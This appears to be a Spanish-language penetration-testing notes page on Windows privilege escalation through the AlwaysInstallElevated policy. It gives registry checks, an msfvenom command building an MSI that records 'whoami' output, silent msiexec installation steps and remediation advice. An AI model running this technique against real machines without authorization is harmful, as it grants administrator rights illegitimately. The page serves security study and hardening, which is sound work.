> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md).
# Escalada de privilegios en Windows con AlwaysInstallElevated
`AlwaysInstallElevated` es una directiva peligrosa de Windows que permite a un usuario sin privilegios de administrador instalar paquetes MSI con privilegios elevados cuando están habilitadas tanto las claves del Registro del usuario actual como las del equipo local.
## Detección
El hallazgo es explotable cuando ambos valores devuelven `1`:
```cmd
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```
## Validación en laboratorio
En un laboratorio controlado, crea un MSI que realice una acción de validación claramente visible, como escribir la identidad elevada en un archivo temporal. Sustituye la acción por la carga útil autorizada solo después de confirmar el alcance y la configuración del listener.
```bash
msfvenom -p windows/exec CMD='cmd /c whoami > C:\Windows\Temp\msi-check.txt' -f msi -o check.msi
```
## Ejecutar el instalador
Instala el MSI en modo silencioso:
```cmd
msiexec /quiet /qn /i check.msi
type C:\Windows\Temp\msi-check.txt
```
## Puntos clave
* Ambas claves del Registro deben estar habilitadas.
* El MSI se ejecuta con privilegios elevados.
* Si solo una clave está habilitada, consérvala como un hallazgo de endurecimiento, pero no la consideres una escalada de privilegios funcional.
* Corrígelo deshabilitando la directiva y supervisando las instalaciones anómalas de MSI.
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